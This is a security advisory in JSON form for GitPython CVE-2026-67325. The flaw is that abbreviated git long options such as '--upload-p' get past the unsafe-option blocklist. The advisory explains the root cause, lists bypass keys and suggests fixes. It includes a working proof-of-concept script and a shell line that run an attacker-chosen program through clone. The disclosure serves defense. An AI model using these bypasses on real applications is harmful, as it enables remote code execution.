CVE-2026-67325: GitPython Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2f96-g7mh-g2hx",
  "modified" : "2026-09-08T17:34:34Z",
  "published" : "2026-07-21T19:43:43Z",
  "aliases" : [ "CVE-2026-67325" ],
  "summary" : "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist",
  "details" : "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n        return \"\"\n    return dashify(option_tokens[0])      # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n    for option in options:\n        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n        if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes — direct RCE |\n| `exe` | `--exec` | push | Yes — direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))  # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.51"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.50"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67325"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/pull/2161"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T19:43:43Z",
    "nvd_published_at" : null
  }
}